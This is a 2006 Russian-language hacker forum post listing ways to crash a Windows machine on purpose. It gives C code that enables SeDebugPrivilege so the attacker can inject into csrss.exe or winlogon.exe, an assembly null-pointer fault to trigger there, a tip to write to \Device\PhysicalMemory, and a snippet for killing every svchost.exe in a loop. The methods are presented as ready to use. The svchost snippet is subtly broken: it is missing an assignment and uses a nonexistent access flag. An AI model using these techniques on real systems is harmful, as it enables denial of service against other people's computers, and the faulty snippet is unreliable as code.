
30.01.2006, 15:22
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
Хехе понаписали))
Вообще достаточно просто открыть процесс csrss.exe (сервер подсистемы виндоус)
и записать в него код... Для этого понадобиться ф-ия SeDebugPrivilege. Инициализировать права доступа к системным процессам так:
int InitSeDebugPrivilege( void )
{
HANDLE hToken;
LUID Val;
TOKEN_PRIVILEGES token_priv;
if (!OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ))
return GetLastError();
if (!LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &Val ))
return GetLastError();
token_priv.PrivilegeCount = 1;
token_priv.Privileges[0].Luid = Val;
token_priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges( hToken, FALSE, &token_priv, sizeof( token_priv ), NULL, NULL ))
return GetLastError();
CloseHandle(hToken);
return 1;
}
также можно внедрить код в winlogon.exe
и выполнить там к примеру код который приведет к появлению исключения
__asm
{
xor eax, eax
mov eax, dword ptr [eax]
}
а можно просто открыть на запись \Device\PhysicalMemory и записать туда пару байтов.
В 98% случаев результат будет получен
Да куча способов) Можно к примеру остановить svchost.exe
HANDLE hProcess OpenProcess( PROCESS_VM_TERMINATE, false, ID_OF_SVCHOST );
TerminateProcess( hProcess, 0 );
CloseHandle( hProcess );
только это делать надо в цикле, т.к. svchost'ов много и PID у всех разные
|
|
|